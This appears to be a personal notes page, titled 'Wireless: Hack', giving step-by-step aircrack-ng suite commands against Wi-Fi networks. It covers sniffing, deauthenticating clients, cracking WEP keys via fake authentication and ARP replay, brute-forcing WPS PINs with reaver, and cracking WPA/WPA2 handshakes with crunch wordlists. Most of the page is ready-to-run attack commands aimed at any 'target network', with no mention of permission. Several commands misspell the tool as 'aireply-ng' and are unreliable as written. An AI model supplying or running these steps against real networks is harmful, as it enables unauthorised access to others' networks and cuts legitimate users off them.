Table of Contents

Wireless: Hack

Packet Sniffing (airodump)

man page: airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with air‐ crack-ng. NOTE: Ctrl-c to exit. Syntax:

Syntax:

airodump-ng [options] <interface name>

Must first enable monitor mode (see here). Then run (assuming interface name wlan0):

airodump-ng wlan0             # 2.4Ghz only, quicker
airodump-ng --band a wlan0    # 5Ghz, quicker
airodump-ng --band abg wlan0  # 5Ghz + 2.4Ghz, slower

Once you find a target network in the information provided by airodump, move on…


Targeted Sniffing

Here you specify the target network (BSSID + Channel) you want to play with…

Target One Specific Network: From the general sniff of all traffic you just did, copy the target BSSID and Channel number:

airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0

This creates files in your current working directory (filename*.*).

Wireshark: use it to analyze the data you captured… open the .cap file.


DeAuth Attack

Deauthentication Attack: Disconnect any client from any network…

Tool: aireplay-ng

aireplay-ng --deauth=10000000 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0
# program     repeat lots        MAC: access point      MAC: client     wireless adapater

Option -a is the MAC address of the access point and -c the client machine on the network you are deauthenticating.

airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X wlan0

This still may fail unless you are also running airodump-ng against the target network (the command just above).


Encryption


WEP

WEP: Wired Equivalent Privacy (Old & Easy)

Tool: aircrack-ng (used to crack WEP's Initialization Vector for the key stream)

All you need to do is capture a bunch of packets (airodump-ng), analyze the captured IVs (aircrack-ng) and discover the WEP key.

  1. Capture specific BSSID + Channel as above. Store capture in file.
    • The #DATA column shows the number of useful packets w/ unique WEP IVs.
    • The higher the number the more likely you'll be able to crack the key.
  2. Run aircrack-ng against your airodump-ng capture (.cap) file.
aircrack-ng filename.cap

Take the key from aircrack (XX:XX:XX:XX:XX), remove the colons, and use that number to log into the network.

PROBLEM: If the network isn't busy enough, the #DATA will not increase enough.

SOLUTION: Generate your own traffic… force access point to generate new IVs.

TOOL: aireply-ng

1. Run airodump-ng against your target network (as above) in one term window:

airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0

2. Associate with this network with aireply-ng in another term window:

aireply-ng --fakeauth 0 -a [MAC of target router] -h [MAC of wireless adapter] wlan0
# run fake authentication attack once ("0")

3. Now communicate with the network with which you are associated via aireply-ng:

aireply-ng --arpreplay -b [MAC of target router] -h [MAC of wireless adapter] wlan0

4. Then run aircrack-ng (filename should be something like arpreplay-01.cap)

aircrack-ng filename.cap

WPA & WPA2

The only difference is the ecryption method: WPA uses TKIP and WPA2 uses CCMP. The same methods will work with both WPA and WPA2.


WPS Misconfiguration Exploit

WPS (allows clients to connect without the password).

1. TOOL: wash (display all networks with WPS enable). You may need to put your wireless interface into auto mode instead of monitor mode.

wash --interface wlan0     # if this errors out, do the following...
ifconfig wlan0 down        # or ifdown wlan0
iwconfig wlan0 mode auto
ifconfig wlan0 up          # or ifup wlan0
wash --interface wlan0     # remember to change mode back to monitor for the hacks

2. Associate with the network (as above)… set this up but DO NOT RUN IT YET

aireply-ng --fakeauth 30 -a [MAC of target router] -h [MAC of wireless adapter] wlan0
# associate with the target network every 30 seconds

3. In another term window run reaver to brute force the PIN:

reaver --bssid [MAC of target router] --channel [#] --interface wlan0 -vvv --no-associate

4. Launch reaver and then your aireply-ng you set up but did not run.


WPA/WPA2 CRACKING

The only packets that can aid cracking WPA and WPA2 are the handshake packets.

1. Run airodump-ng against all reachable networks…

airodump-ng wlan0               # 2.4Ghz only, quicker
airodump-ng --band a wlan0      # 5Ghz, quicker
airodump-ng --band abg wlan0    # 5Ghz + 2.4Ghz, slower

2. Find your target router and run airodump-ng to dump data to a file…

airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0

3. Let it run and wait for the handshake to occur (someone to connect to router).

4. If you're impatient, deauthenticate a current user and he'll connect again, giving you the handshake you want.

aireplay-ng --deauth 4 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0
# program     repeat 4x   MAC addr router      MAC addr client to disconnect

5. Use that WPA handshake value to get the key for the wireless network (see next).

6. Wordlist: a very large text file of words to use against the handshake value

Create your own word list with crunch

crunch [min] [max] [characters] -t [pattern] -o [filename]   # syntax
crunch 6 8 123abc$ -t a@@@@b -o wordlist                     # example
option description
min minimum number of characters for the password to be generated
max maximum number of characters for the password to be generated
characters specificy the characters you want to generate passwords from
pattern if you know something about the password (e.g., starts w/ “a”)

**Links to wordlists:*

7. Use aircrack-ng: wordlist + handshake to crack the password

aircrack-ng filename-01.cap -w wordlist.txt
#           |--> name of file from the airodump-ng

We'll have some more goodies later… :-)